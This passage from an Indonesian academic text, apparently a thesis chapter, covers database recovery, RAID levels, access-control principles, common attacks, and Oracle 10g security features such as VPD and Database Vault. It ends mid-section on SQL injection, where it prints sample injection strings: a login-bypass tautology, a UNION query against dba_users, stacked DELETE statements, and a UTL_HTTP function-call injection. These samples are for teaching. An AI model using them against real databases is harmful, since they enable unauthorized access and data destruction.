abort, commit)
- Item data sebelum perubahan (operasi update dan delete)
- Item data setelah perubahan (operasi insert dan update)
- Informasi manajemen jurnal (misal : pointer sebelum dan
record jurnal selanjutnya untuk semua transaksi
2. Record checkpoint: suatu informasi pada jurnal untuk
memulihkan database dari kegagalan, kalau sekedar undo
(seperti fungsi yang dimiliki pada ms.excel) akan sulit jurnal
untuk mencarinya kembali, maka untuk membatasi pencarian
menggunakan teknik ini.
Pemulihan (recovery): merupakan upaya uantuk mengembalikan
basis data ke keadaaan yang dianggap benar setelah terjadinya
suatu kegagalan.
Jenis Pemulihan:
-
Pemulihan terhadap kegagalan transaksi: kesatuan prosedur
alam program yang dapat mengubah / memperbarui data
pada sejumlah tabel.
-
Pemulihan terhadap kegagalan media: pemulihan karena
kegagalan media dengan cara mengambil atau memuat
kembali salinan basis data (backup).
31
-
Pemulihan terhadap kegagalan sistem: karena gangguan
sistem, hang, listrik terputus alirannya.
Fasilitas pemulihan pada DBMS :
-
Mekanisme backup secara periodik
-
Fasilitas logging dengan membuat track pada tempatnya saat
transaksi berlangsung dan pada saat database berubah.
-
Fasilitas checkpoint, melakukan update database yang
terbaru.
-
Manager
pemulihan,
memperbolehkan
sistem
untuk
menyimpan ulang database menjadi lebih konsisten setelah
terjadinya kesalahan.
Teknik Pemulihan :
-
Defered upate / perubahan yang ditunda: perubahan pada
DB tidak akan berlangsung sampai transaksi ada pada poin
disetujui (COMMIT). Jika terjadi kegagalan maka tidak
akan terjadi perubahan, tetapi diperlukan operasi redo
(terdapat pada redo log file) untuk mencegah akibat dari
kegagalan tersebut.
-
Immediate Upadate / perubahan langsung: perubahan pada
DB akan segera tanpa harus menunggu sebuah transaksi
tersebut disetujui. Jika terjadi kegagalan diperlukan operasi
UNDO untuk melihat apakah ada transaksi yang telah
disetujui sebelum terjadi kegagalan.
32
-
Shadow Paging: menggunakan page bayangan dimana pada
prosesnya terdiri dari 2 tabel yang sama, yang satu menjadi
tabel transaksi dan yang lain digunakan sebagai cadangan.
Ketika transaksi mulai berlangsung kedua tabel ini sama
dan selama berlangsung tabel transaksi yang menyimpan
semua perubahan ke database, tabel bayangan akan
digunakan jika terjadi kesalahan. Keuntungannya adalah
tidak membutuhkan REDO atau UNDO, kelemahannya
membuat terjadinya fragmentasi.
-
Kesatuan data dan Enkripsi
Enkripsi: keamanan data, pengkodean data dengan algoritma
khusus sehingga data tidak dapat dibaca oleh program tanpa
kunci dekripsi, memproteksi data yang ditransmisikan
melalui jalur komunikasi
Integritas: metode pemeriksaan dan validasi data (metode
integrity constrain), yaitu berisi aturan-aturan atau batasanbatasan untuk tujuan terlaksananya integritas data.
Konkuren: mekanisme untuk menjamin bahwa transaksi
yang konkuren pada database multi user tidak saling
menganggu
operasinya
masing-masing.
penjadwalan proses yang akurat (time stamping).
-
RAID (Redundant Array of Independent Disks)
Adanya
33
RAID terdiri atas array disk, meningkatkan keandalan atau kinerja
dengan data stripping, penyimpanan informasi redundan dengan
skema error-correcting
Level pada RAID :
RAID 0 - nonredundant, pada level ini tidak ada redundansi
data dan memiliki performa yang paling baik karena tidak
harus di replikasi.
RAID 1 – mirrored, dilakukan mirroring pada data .
RAID 0+1 – nonredudant dan mirrored, merupakan
penggabungan stripping dan mirroring.
RAID 2 – memory-style-error-correcting codes, stripping
unit adalah bit tunggal dan hamming code digunakan
sebagai skema redundansi
RAID 3 – bit interleaved parity, redundansi dengan
menyimpan informasi parity pada disk tunggal di array.
RAID 4 – block interleaved parity, stripping unit adalah
disk block.
RAID
5
–
block
interleaved
distributed
parity,
menggunakan data parity untuk redundansi.
RAID 6 – P+Q redundancy, mirip dengan RAID 5 tapi
penambahan data redundan digunakan untuk proteksi akan
kegagalan disk.
34
-
Tiga prinsip dasar yang digunakan untuk menetapkan pengendalian
integritas adalah:
Memberikan akses dalam kerangka need-to-know basis
User seharusnya hanya diberikan akses terhadap file dan
program yang mereka butuhkan untuk melakukan fungsi fungsi pekerjaan mereka. Keleluasaan akses terhadap data
produksi atau source code oleh user seharusnya diperketat
menggunakan metode transaksi, dimana dapat memastikan
bahwa user dapat mengubah data hanya dalam cara yang
terkontrol dengan baik sehingga menjaga integritas data.
Elemen umum dari metode transaksi ini adalah pencatakan
modifikasi data dalam sebuah log, yang dapat diperiksa
lebih lanjut untuk memastikan bahwa hanya perubahan
yang diotorisasi dan benar saja yang dilakukan didalam
sistem. Agar lebih efektif, metode transaksi ini harus
memastikan
bahwa
data
hanya
dapat
dimanipulasi
menggunakan program – program tertentu saja. Programprogram tersebut harus diawasi secara hati-hati, baik dalam
pengembangan
dan
instalasinya,
dan
diterapkan
pengendalian untuk mencegah modifikasi yang tidak
terotorisasi. Karena user harus dapat bekerja secara efisien,
hak akses harus diberikan secara bijaksana sehingga
memungkinkan fleksibilitas operasional yang memadai.
Akses berdasarkan need to - know basis ini harus
35
memungkinkan
terjadinya
kontrol
maksimal
dengan
pembatasan seminimal mungkin terhadap user. Setiap
inisiatif
keamanan
informasi
harus
menerapkan
keseimbangan yang baik antara tingkat keamanan yang
ideal dan produktivitas kerja
Pemisahan tugas (separation of duties)
Untuk memastikan di bahwa tidak satu orang karyawan pun
yang mengendalikan sebuah transaksi dari awal sampai
akhir, dua atau lebih orang harus bertanggung jawab untuk
melakukannya.
Rotasi Tugas
Penugasan suatu pekerjaan harus diubah-ubah secara
periodik sehingga mempersulit user dalam berkolaborasi
untuk mengendalikan sepenuhnya sebuah transaksi dan
mengalihkannya untuk tujuan-tujuan terlarang.
-
Metode Penyerangan yang umum dilakukan untuk mengakses
objek:
Brute Force Attack
Tujuan dari serangan ini adalah mencoba beberapa
kombinasi karakter yang memenuhi otentikasi tipe 1.
Seringkali disebut menebak password, sebuah program
mengirim beberapa login percobaan, masing-masingnya
dengan password yang sedikit berbeda. Sebagai tambahan
atas serangan sendiri, atur level sistem monitor untuk
36
memberi tahu ketika aktifitas yang tidak umum sedang
terjadi. Ide bagus juga untuk mengatur level penguncian ke
tingkat yang agresif sehingga account terkunci setelah
beberapa kegagalan login. Hal ini akan merepotkan bagi
pemakai yang melupakan password-nya, tetapi hal ini
menyediakan pertahanan yang baik terhadap brute force
attack.
Dictionary Attack
Merupakan turunan dari brute force attack. Sebagai ganti
dari mencoba semua kombinasi password, dictionary atack
mencoba untuk memenuhi permintaan password dengan
memberikan password umum dari sebuah daftar atau
kamus. Banyak daftar dari password yang umum digunakan
mudah untuk dicari. Meskipun mereka membuat sumber
yang
bagus untuk
dictionary attack,
mereka
juga
menyediakan contoh password yang dihindari. Pada
kenyataannya, salah satu cara terbaik untuk mencegah
dictionary attack adalah dengan kebijakan password yang
ketat.
Spoofing Attack
Tipe lain dari serangan kontrol akses adalah login spoofing.
Seorang penyerang meletakkan program login palsu yang
meminta kepada pemakai, user ID dan password.
Tampilannya seperti login normal, sehingga pemakai
37
memberikan
informasi
yang
diminta.
Alih-alih
memasukkan pemakai ke dalam sistem, program tersebut
menyimpan informasi dan menampilkan pemberitahuan
bahwa login gagal. Pertahanan terbaik melawan serangan
jenis ini adalah membangun jalur yang terpercaya antara
pemakai dan server ketika memungkinkan. Lakukan
percobaan untuk meminimalkan peluang bagi penyerang
untuk masuk antara pemakai dan server. Didalam
lingkungan dimana keamanan menjadi sangat penting,
pemakai harus dengan hati-hati mempelajari semua
percobaan login yang gagal dan memastikan kegagalan
tersimpan dan dilaporkan.
Trojan Horse
Cara yang sering digunakan penyusup untuk menjebak user
agar menginstall program yang membuka pintu belakang di
sistem yang digunakan, sehingga penyusup tersebut dapat
dengan mudah mengakses komputer milik user tanpa
sepengetahuan pemiliknya. Kemudian, penyusup tersebut
bisa
melakukan
perubahan konfigurasi
sistem atau
menularkan virus ke komputer tersebut.
Back Door dan Remote Administration Program
Di komputer yang menggunakan operating system, pada
umumnya penyusup menggunakan tiga tool, back Orificem
Netbus, dan Sub Seven untuk mendapatkan akses ke
38
komputer secara remote. Setelah diinstall, back door atau
remote administration program ini memungkinkan orang
lain untuk mengakses dan mengendalikan komputer
tersebut.
Platform
komputer
lainnya
mungkin juga
memiliki kelemahan terhadap model serangan seperti ini,
sehingga user harus selalu memantau laporan-laporan
mengenai vulnerability dari sistem yang digunakan.
Denial of Service
Ini adalah tipe serangan yang menyebabkan komputer
crash atau menjadi sangat sibuk memproses data, sehingga
user tidak mempergunakannya. Umumnya, serangan seperti
ini bisa diatasi dengan menginstall patch terakhir dari
sistem yang digunakan.
Pencurian Identitas
Informasi yang disimpan dalam sebuah home computer
bisa menjadi sumber informasi pribadi yang mencukupi
bagi para penyusup untuk mendaftarkan kartu kredit atau
identitas lainnya, dengan mengatasnamakan korban tersebut
Tunneling
Saat karyawan bekerja di rumah dan mengirimkan file ke
sebuah komputer di kantor, ada potensi bahwa sesorang dapat
mengakses home computer tersebut dan menyusupkan file
rahasia didalam sebuah dokumen yang nantinya disimpan di
dalam sistem milik perusahaan.
39
2.4.3 Keamanan pada Database Oracle 10g
Pada oracle database 10g, keamanan pada database menggunakan
strategi pendekatan pertahanan secara mendalam (defense-in-depth
approach) yaitu pertahanan keamanan tidak hanya dari pihak luar tapi juga
dari pihak internal organisasi.
Sistem keamanan pada oracle database 10g antara lain :
1.
Authentikasi
-
Password
Authenticated
Users,
database
akan
memverifikasi nama user dan password dengan yang
tersimpan di database.
-
Externally Authenticated Users, bagi pihak luar validasi
password tidak tersimpan dalam database, tetapi menunjuk
ke account OP$.
Perintah yang digunakan :
CREATE USER ops$oracle IDENTIFIED EXTERNALLY;
2.
Pengaturan hak akses :
-
Grant Security (system privilege dan object privilege)
System Privilege, memberikan hak akses kepada user
untuk mengatur dan mengelola sistem database oracle.
Contoh :
sql> grant create any cluster to customer_role;
sql> grant select any table to fred;
sql> grant create any table to public;
40
sql> grant create tablespace to dba_role;
Object Privilege, merupakan hak akses yang diberikan
user untuk melakukan beberapa operasi pada beberapa
objek database, seperti tabel, view, sequence atau
procedure.
Contoh :
sql> grant select, insert on customer to fred, mary, joe;
sql> grant insert on order_table to update_role;
sql> grant all on customer to fred;
sql> grant select on customer_view to mary;
-
Role-based grant security, kumpulan dari beberapa
privilege yang dikumpulkan menjadi satu. Ini merupakan
salah satu cara untuk memudahkan dalam pemberian hak
akses kepada user
Contoh :
sql> create role system_admin;
sql> grant select, update on customer to system_admin;
sql> grant select on item_table to system_admin;
sql> grant system_admin to user 1, user 2, user 3;
-
Grant Execute Security
Kemampuan
untuk
membuat
hak
akses
dengan
menciptakan suatu program tertentu melalui stored
procedure dan bahasa PL/SQL
-
Secure Application Roles
41
Roles adalah kumpulan dari privilege pada database untuk
memudahkan manajemen dan memonitor user dan roles
dapat digunakan setelah user melewati seluruh pemeriksaan
keamanan.
Perintah yang digunakan :
CREATE
ROLE
role_name
IDENTIFIED
USING
packagename;
3.
Pengaturan akses (access control) dengan view restrictions.
Pembatasan akses bagi user dalam melihat database. View adalah
logikal tabel yang berisi bukan data sebenarnya tetapi hanya
menampilkan kolom sesuai dengan akses yang telah diberikan.
4.
Virtual Private Database (VPD)
Virtual Private Database (VPD) atau row level security (RLS) atau
biasa disebut juga fine-grained access control (FGAC) merupakan
teknologi yang dapat membatasi akses terhadap baris-baris (row)
data dari beberapa objek database yaitu tabel dan view secara runtime. Virtual Private Database memfasilitasi database untuk
memodifikasi query berdasarkan security policy yang terdapat pada
paket policy. Sebuah security policy sangat berkaitan dengan tabel
atau view yang dituju. Ketika user secara langsung atau tidak
memasuki tabel atau view yang berkaitan dengan VPD security
policy, server secara dinamis memodifikasi SQL statement user.
Modifikasi ini berdasarkan pada suatu kondisi yang diberikan oleh
suatu fungsi yang mengimplementasikan security policy. Setiap
42
user diberikan security policy yang berbeda terhadap tabel dan
view yang di-query.
Terdapat 3 penambahan komponen penting VPD oracle 10g
Column-Level Privacy
Penambahan performance dengan membatasi jumlah query
yang dapat ditulis ulang database. Penulisan ulang hanya
dapat terjadi jika referensi statemen yang relevan terhadap
kolom melalui parameter sec_relevant_cols dalam prosedur
DBMS_RLS.ADD_POLICY.
Fitur
ini
juga
yang
meningkatkan privacy menjadi lebih baik.
Customization
Memperkenalkan 4 tipe policy, kita dapat memodifikasi
VPD menggunakan predicate yang sama dengan policy tetap
atau menggunakan predicate VPD yang dapat berubah
secara dinamis dengan policy tidak tetap.
Shared Policies
Kita dapat menggunakan sebuah VPD policy untuk
memperbanyak objek, oleh karenanya dapat menghemat
biaya.
5.
Auditing
-
Statement Auditing
Mencatat audit entry, setiap spesifik SQL statemen atau
statemen apapun yang dilakukan oleh user dan juga setiap
usaha untuk terkoneksi dengan database baik sukses atau
43
gagal. Ini adalah salah satu cara menemukan percobaan
hacking pada database.
-
Fine-Grained Auditing
Audit yang dapat dilakukan dengan detail yang sangat
spesifik dari objek. Hal ini dapat membatasi audit records
berdasarkan kolom yang diakses dan nilai dari kolom
tersebut. Memungkinkan untuk data diaudit oleh user yang
tidak memiliki latar belakang apapun dalam bidang IT.
-
Audit Trails
Oracle dapat mengaudit kedalam tabel tertentu apakah data
dictionary atau file sistem operasi.
6.
Enterprise Security dengan lightweight directory access protocol
(LDAP)
Manajemen database user dan pengaturan autorisasi secara
tersentralisasi.
7.
Keamanan pada jaringan dengan proxy authentication.
Memudahkan level tengah (middle tier) atau aplikasi klien untuk di
authentikasi lalu ke proxy hingga ke account yang lain pada
database tanpa harus authentikasi ulang.
8.
Database Encryption
Melindungi data penting dengan menyediakan lapisan (layer)
tambahan perlindungan untuk data pada media penyimpanan.
44
2.5
Arsitektur Oracle
Pada oracle terdapat dua komponen penting yaitu database dan instance.
-
Database adalah kumpulan file (physical file) untuk menyimpan
data yang saling berelasi.
Untuk mengecek nama database menggunakan command :
select VALUE from v$parameter where NAME=’db_name’
-
Instance adalah proses yang mengatur jalannya database (engine),
instance mengatur penggunaan memory dan background process
yang digunakan untuk mengakses data dari physical database files.
Value dari ORACLE_SID adalah nama dari instance juga.
Salah satu alasan dipisahkannya konsep antara database dan
instance adalah database dapat digunakan secara bersama-sama (shared)
oleh dua atau lebih oracle instance sebagai bagian dari konfigurasi untuk
meningkatkan kinerja dari oracle server.
Gambar 2.2. Arsitektur Oracle
[Referensi:Oracle 10g Database Foundations,2004]
45
2.6
Struktur Database Oracle
Oracle memiliki dua buah struktur yang merupakan bagian dari arsitektur
oracle, yaitu:
a.
Struktur logikal, komponen yang digunakan untuk mengalokasikan space
pada disk (tablespace).
b.
Struktur physical, komponen yang digunakan untuk mengatur fisik dari
database file.
2.6.1. Struktur Logikal
-
Table space digunakan untuk menyatukan objek database
menjadi satu kesatuan, umumnya untuk fasilitasi keamanan,
performance atau ketersediaan objek database seperti tabel
dan index.
Pada database oracle minimum memiliki dua table space
yaitu SYSTEM table space dan SYSAUX table space.
-
Segment adalah kumpulan dari extents untuk tipe objek
tertentu seperti tabel.
-
Extents adalah blok data yang saling berdekatan
-
Database Blocks adalah bagian terkecil dari storage
-
Schemas adalah nama grup dari objek yang berasosiasi
dengan user account tertentu.
46
Gambar 2.3. Struktur Logikal Oracle Database
[Referensi:Oracle 10g Database Foundations,2004]
2.6.2. Struktur Physical
-
Datafile, digunakan untuk menyimpan data dari object
database (mis : table, index, dll)
-
Redo log files, digunakan untuk menyimpan semua
perubahan data yang dibutuhkan pada proses recovery
(memperbaiki perubahan yang belum ditulis pada datafile).
-
Control file, berisi informasi berupa konfigurasi, lokasi data
redo log files, datafile.
47
Gambar 2.4 Struktur Physical Oracle Database
[Referensi:Oracle 10g Database Foundations,2004]
2.7
Struktur Instance
Oracle Instance terdiri dari Memory dan Background process.
2.7.1. Memory
Oracle menggunakan shared memory untuk pengoprasian database
server, yang dibagi dalam struktur memory yang disebut sebagai SGA
(System Global Area/Shared Global Area) dan PGA (Program Global
Area/Private Global Area).
-
SGA (System Global Area/Shared Global Area)
Area berupa shared memory yang digunakan untuk untuk
menyimpan data atau konfigurasi yang mengendalikan system. Bila
sebuah oracle instance di-startup, maka system melakukan alokasi
48
memory untuk SGA dan dikelola sampai instance tersebut tidak
dibutuhkan lagi.
(Dalam keadaan shutdown), SGA terdiri dari :
a.
Database Buffer Cache, memori yang dialokasikan
menyimpan data sementara dari databases blocks yang
belum dituliskan pada database datafiles.
Database Buffer Cache memiliki 3 tipe :
-
Dirty buffers, buffer yang berisi data dari database
block yang akan ditulis pada disk.
-
Free buffers, buffer yang kosong dan tidak ada block
data didalamnya Ketika oracle membaca data dari
disk(datafile) maka free buffer akan menyimpan data
tersebut sehingga akan berubah menjadi dirty buffer
-
Pinned buffers : Block data yang ada dalam buffers
sedang mengalami proses perubahan.
b.
Shared Pool, menyimpan informasi seperti data dictionary,
sql structure, library. Informasi yang disimpan antara lain:
-
User information seperti privilege (hak/ijin akses)
-
Integrity constraints
-
Nama table, view, tipe data
-
Informasi tentang alokasi memory yang digunakan
untuk schema object
c.
Redo Log Buffer, berisi informasi yang mencatat semua
perubahan yang terjadi pada database secara otomatis dan
49
cepat. Data ini di catat ke redo log secepat mungkin, karena
akan digunakan untuk tujuan recovery.
d.
Library cache, terdiri dari shared SQL areas, privates SQL
areas, PL/SQL procedures, package dan control structures
seperti locks dan library cache handles.
e.
Shared SQL areas, berisi informasi untuk mengeksekusi
instruksi SQL dan instruksi ini disimpan, dan bila terjadi
query yang sama maka sistem mengalokasikan request
tersebut ke lokasi memory yang sama.
f.
Data Dictonary Cache, berisi koleksi struktur table, view,
dan referensi ke database yang dapat diakses bersama.
g.
Large Pool adalah memori yang digunakan untuk
menyediakan alokasi memori yang besar untuk spesifik
operasi database seperti backup dan restore.
h.
Java Pool adalah memori yang dialokasikan untuk proses
yang berbasis java.
-
PGA (Program Global Area/Private Global Area)
Area pada memori yang berisi data untuk setiap proses yang terjadi
pada database dan area ini tidak dipakai bersama (non-share).
Terdiri dari:
a.
Stack Space, memori yg dialokasikan untuk menyimpan
data dari variable dan arrays
50
b.
Session Information, memori yg dialokasikan untuk
menyimpan data tentang session yang terjadi pada database
seperti user koneksi.
c.
Sort Area, memori yg dialokasikan untuk menyimpan data
dari proses sorting. Perintah SQL yang termasuk proses
sort adalah : CREATE INDEX, DISTINCT, ORDER BY,
GROUP BY, UNION, INTERSACT, dan MINUS
-
SCA (Software Code Area)
Area pada memori yang dialokasikan untuk menyimpan perintah
atau code yang sedang dijalankan. Memori ini biasanya digunakan oleh
oracle tools dan utilities seperti: SQL*Forms, SQL*Plus, etc.
2.7.2. Proses Background
Eksekusi program komputer pada memori yang melakukan tugas
tertentu.
a.
PMON (Process Monitor)
-
Melakukan rollback untuk transaksi yang dibatalkan.
-
Membersihkan proses yang berakhir tidak normal.
-
Mengaktifkan kembali shared_server dan dispatcher
(Proses yang mengatur penjadwalan eksekusi proses
oracle) bila mengalami error.
-
Membebaskan resource SGA yang dialokasikan pada
process yang gagal.
51
b.
SMON (System Monitor) berfungsi menjalankan instance
recovery secara otomatis, mengatur memori segmen dan
menggabungkan free area memori yang berdekatan
(garbage collector)
c.
LGWR (Log Writer) berfungsi menulis semua data block
pada buffer ke log file pada saat:
d.
-
Terjadi proses commit.
-
Terjadi Checkpoin.t
-
Setiap 3 detik.
-
Log buffer penuh.
CKPT (Check Point) berfungsi menjaga konsistensi data
dengan membuat check point, sehingga bila terjadi crash,
maka kondisi database dapat di kembalikan ke kondisi
pada saat check point terakhir di buat. Proses checkpoint
adalah menulis semua perubahan (updating) yang terjadi
antara begin transaction dan commit.
e.
DBWR (Database Writer) berfungsi menulis semua data
block pada buffer cache ke datafile pada saat terjadi
commit.
52
Gambar 2.5 Background Process
[Referensi: Oracle 10g Database Foundations,2004]
2.8
Database Vault
Oracle database vault adalah sistem keamanan tambahan pada oracle
database 10g yang dapat digunakan untuk :
-
Membatasi akses data aplikasi dari database administrator (DBA) atau
user lain yang memiliki privileges.
-
Mencegah DBA memanipulasi database atau mengakses aplikasi-aplikasi
yang lain.
-
Menyediakan pengaturan yang lebih baik tentang siapa, kapan dan dimana
suatu aplikasi bisa diakses.
-
Meningkatkan proteksi dari struktur database dari perubahan-perubahan
yang ilegal.
-
Merupakan tool untuk implementasi sistem keamanan yang lebih dinamis
dan fleksibel.
53
-
Merupakan salah satu pengendali internal, yaitu mekanisme yang
digunakan untuk bisnis yang umumnya berjalan sesuai dengan peraturan
yang ada seperti US Sarbanes-Oxley (SOX), US Healthcare Insurance
Portability and Accountability Act (HIPAA), Japan Privacy Law, EU
Privacy Directive, and the US California Senate Bill 1386.
-
Built-in reports, tersedianya laporan yang berhubungan dengan sistem
keamanan termasuk intervensi pada realm.
2.8.1 Komponen Database Vault
-
Oracle Database Vault Access Control Components
Membuat komponen-komponen untuk mengatur keamanan
database instance
-
Oracle Database Vault Administrator (DVA)
Aplikasi java yang dibangun diatas Oracle Database Vault
PL/SQL aplikasi (APIs), aplikasi ini dibuat sebagai tampak
muka pengaturan dan konfigurasi hak akses bagi manajer
keamanan yang tidak bisa PL/ SQL.
-
Oracle Database Vault Configuration Assistant (DVCA)
Pemeliharaan dari Oracle Database Vault
-
Oracle Database Vault DVSYS and DVF Schemas
DVSYS adalah schema untuk penyimpanan database objek
yang diperlukan untuk memproses oracle data, schema ini
berisi roles, views, accounts, fungsi, dll.
54
DVF adalah schema yang berisi fungsi publik untuk mencari
(pada saat proses berjalan) factor values pada Oracle
Database Vault access control configuration
-
Oracle Database Vault PL/SQL Interfaces and Packages
Ketersediaan antar muka koleksi PL/SQL dan paket yang
member ijin pada security manager atau aplikasi developer
untuk mengkonfigurasi kebijaksanaan pemberian hak akses
-
Oracle Database Vault and Oracle Label Security PL/SQL
APIs
Pengaturan akses yang dapat terintegrasi dengan Oracle
Lable Security
-
Oracle Database Vault Reporting and Monitoring Tools
Pembuatan laporan dari berbagai aktivitas yang telah
dimonitor, memonitor perubahan kebijakan, percobaan
perusakan atau pembobolan, konfigurasi database dan
perubahan struktur.
Komponen Oracle Database Vault Access Control
-
Database Vault Factor
Factor adalah nama variabel atau attribute, seperti lokasi
user, alamat IP database atau session user. Faktor dapat
digunakan untuk aktivitas seperti autorisasi account untuk
koneksi ke database, membuat filter logikal untuk membatasi
visibility dan manageability data, selain itu faktor-faktor yang
telah terintegrasi yang dapat digunakan sebagai kombinasi
55
dengan rules untuk mengatur akses ke database, aplikasi
realm dan perintah-perintah di database dan merupakan blok
bangunan dasar dari mandatory access control.
Berikut adalah daftar faktor yang terdapat pada database vault.
Tabel 2.4 Database Vault Factor
Authentication Method
Identification Type
Proxy Enterprise Identity
Database Domain
Database Hostname
-
Language
Session User
Database IP
Domain
Database Name
Enterprise Identity
Network Protocol
Database Instance
Machine
Client IP
Database Vault Rule Sets
Mesin rule untuk sistem keamanan database, yang di awasi
melalui Data Vault MAC Admininistrator GUI atau PL/SQL APIs,
dapat di audit dan memberikan respon.
Kumpulan dari rule (single conditions) untuk mengontrol:
1.
Faktor penugasan.
2.
Autorisasi realm.
3.
Kemampuan untuk menjalankan perintah-perintah database.
4.
Kemampuan sebagai secure application role.
-
Database Vault Command Rules
Command rules adalah rule yang dibuat untuk memproteksi
pernyataan SELECT, ALTER SYSTEM, DDL, DML yang
mempengaruhi database objek.
Kategori command rules:
-
Memiliki system-wide scope : hanya dapat membuat satu
command rule untuk tiap database instance
56
Contoh: command rule untuk ALTER SYSTEM dan
CONNECT
-
Memiliki schema tertentu, contoh: command rule untuk
DROP TABLE
-
Memiliki object tertentu, contoh: command rule untuk DROP
TABLE dengan tabel tertentu.
Rules dan factor dapat berasosiasi dengan banyak perintah di
database. Rules memiliki internal control yang lebih kuat dan
dapat di buat sesuai dengan kebijaksanaan operasional. Sebagai
contoh , sebuah rule dapat didefinisikan sebagai limit eksekusi dari
perintah alter sistem untuk alamat IP dan hostname tertentu.
Berikut adalah contoh perintah database dimana rules dapat
berasosiasi melalui database vault administrative interface.
Tabel 2.5 Database Vault Command Rules
Alter Database
Alter Function
Alter Package Body
Alter Session
Alter Table
Password
Rename
Create Function
Create Database Link
Create Package Body
Create Table
Create Profile
Create Tablespace
Update
Execute
Alter View
Audit
Alter Procedure
Alter System
Alter Trigger
Change Password
Connect
Create Index
Create Procedure
Create User
Grant
Revoke
Create Trigger
Insert
Select
Noaudit
Alter Tablespace
Alter Profile
Alter Synonym
Alter User
Truncate Table
Comment
Create Package
Create Role
Create View
Drop User
Drop Profile
Connect
Delete
Lock Table
57
-
Perintah Otorisasi (Command Authorizations)
Pembatasan dari penggunaan perintah DDL (create user, alter
user), objek tertentu atau seluruhnya, berdasar pada kondisi rule set
akan dievaluasi setelah data vault realms, dapat diimplementasikan
pada prosedur bisnis.
-
Realm adalah kumpulan dari schema dan roles yang telah
diproteksi, layer tambahan dari manajemen hak akses dalam
database, wadah yang merupakan zona proteksi . Database vault
administrator dapat membuat realm dan mendefinisikan isi
didalamnya. Realm dapat berupa database objek seperti sebuah
tabel, banyak tabel atau sebuah aplikasi atau banyak aplikasi.
Berikut adalah gambaran umum realms
Gambar 2.6 Realms
[Referensi: Oracle Database Vault Administrator Guide, 2008]
Keuntungan realms :
1.
Membatasi DBA sistem dari query dan manipulasi data bisnis
yang sensitive.
2.
Implementasi aplikasi DBA dan konsep sub-databases
3.
Blok untuk konsolidasi yang aman.
58
-
Database Vault Protected Schema
1.
Melindungi metadata database vault dari korup.
2.
Menghilangkan ketergantungan metadata pada SYS schema
3.
Akses untuk melindungi schema melalui administrative roles.
4.
Pembagian tugas oleh administrative roles yang berbeda.
Administratives roles antara lain :
DV_ADMIN, DV_SECANALYST, DV_OWNER,
DV_ACCTMGR, DV_REALM_OWNER,
DV_REALM_RESOURCE
5.
-
Dibutuhkan password untuk SYS login
Secure Application Roles
Oracle database roles khusus yang dapat diaktifkan berdasar
evaluasi dari oracle database vault rule set.
2.8.2 Database Vault memenuhi peraturan compliance
Dengan adanya compliance regulation maka kesadaran akan
keamanan pun meningkat, perusahaan yang baik adalah yang bisa
memenuhi peraturan compliance demi terjaganya kerahasiaan data dari
ancaman-ancaman yang potensial.
Berikut adalah tabel yang berisi peraturan yang mengatur tentang
ancaman yang potensial.
Tabel 2.6 Potensial threat regulations
Regulation
Sarbanes-Oxley Section 302
Sarbanes-Oxley Section 404
Potential Security Threat
Unauthorized changes to data
Modification to data, unauthorized access
59
Tabel 2.6 Potensial threat regulations (lanjutan)
Sarbanes-Oxley Section 409
Gramm-Leach-Bliley
Health Insurance Portability
and Accountability Act
(HIPAA) 164 306
HIPAA 164.312
Basel II – Internal Risk
Management
CFR Part II
Japan Privacy Law
EU Directive on Privacy and
Electronic Communications
Payment Card Industry Data
Security Standard (PCI DSS)
Denial of Service, unauthorized access
Unauthorized access, modification or
disclosure
Unauthorized access to data
Unauthorized access to data
Unauthorized access to data
Unauthorized access to data
Unauthorized access to data
Unauthorized access to data
Unauthorized changes to data
2.8.3 Auditing Report
Realm Audit Report
Laporan audit dibuat berdasarkan proteksi realm dan
operasi autorisasi realm
Command Rule Audit Report
Laporan audit dibuat berdasarkan proses operasi command
rule.
Factor Audit Report
Laporan audit yang menunjukkan factor yang gagal untuk
dievaluasi atau diset untuk membuat audit record pada
berbagai kondisi.
Label Security Integration Audit Report
Laporan audit dibuat berdasarkan operasi inisialisasi
session dan operasi session label assignment.
60
Core Database Vault Audit Trail Report
Laporan audit record yang dibuat oleh operasi core access
security session initialization. Kita dapat membuat audit
instances yang mengalami kegagalan akses keamanan.
-
Secure Application Role Audit Report
Laporan audit yang dibuat berdasarkan operasi secure
application role-enabling
2.9
SQL Injection
Pengertian SQL Injection :
Sebuah aksi hacking yang dilakukan di aplikasi client dengan cara
memodifikasi perintah SQL yang ada di memori aplikasi client.
Merupakan teknik mengeksploitasi web aplikasi yang didalamnya
menggunakan database untuk penyimpanan data.
Menurut Stephen Kost (Januari, 2004) kategori sql injection yang
menyerang oracle adalah:
a.
SQL Manipulation
Memodifikasi sql statement melalui set operasi seperti UNION,
alter WHERE Clause untuk mengembalikan hasil yang berbeda.
Klasik sql manipulasi adalah pada saat autentifikasi login.
Contoh :
SELECT * FROM users WHERE username = 'bob' and
PASSWORD = 'mypassword'
Maka dimanipulasi menjadi:
61
SELECT * FROM users WHERE username = 'bob' and
PASSWORD = 'mypassword' or 'a' = 'a'
SELECT product_name FROM all_products WHERE
product_name like '%Chairs%'
Maka dimanipulasi menjadi:
SELECT product_name FROM all_products WHERE
product_name like '%Chairs' UNION SELECT username
FROM dba_users WHERE username like '%'
b.
Code Injection
Penyerang menyisipkan sql statement baru atau perintah pada
database pada pernyataan sql yang telah ada.
Pernyataan EXECUTE pada sql server merupakan target untuk
serangan ini. Pada PL/SQL dan Java, oracle tidak mendukung
penggunaan multi statemen tiap permintaan database.
Injeksi code yang umumnya digunakan antara lain:
SELECT * FROM users WHERE username = 'bob' and PASSWORD =
'mypassword'; DELETE FROM users WHERE username = 'admin';
Statemen diatas akan mengembalikan hasil error.
Akan tetapi beberapa bahasa pemrograman atau API mendukung
multi statemen sql untuk dieksekusi, PL/SQL dan Java dapat secara
dinamis mengeksekusi PL/SQL Blok yang rentan terhadap code
injection.
Contoh:
BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); END;
Menjadi:
BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); DELETE FROM
users WHERE upper(username) = upper('admin'); END;
62
c.
Function Call Injection
Penyisipan pada fungsi-fungsi database oracle atau fungsi tertentu
pada pernyataan sql yang rentan. Function call dapat digunakan
untuk membuat sistem operasi calls atau manipulasi data pada
database. Fungsi yang dieksekusi sebagai bagian dari SQL
SELECT statemen tidak akan membuat perubahan pada database,
terkecuali fungsi ditandai sebagai PRAGMA TRANSACTION.
Contoh:
SELECT TRANSLATE('' ||
UTL_HTTP.REQUEST('http://192.168.1.1/') || '',
'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM
dual;
d.
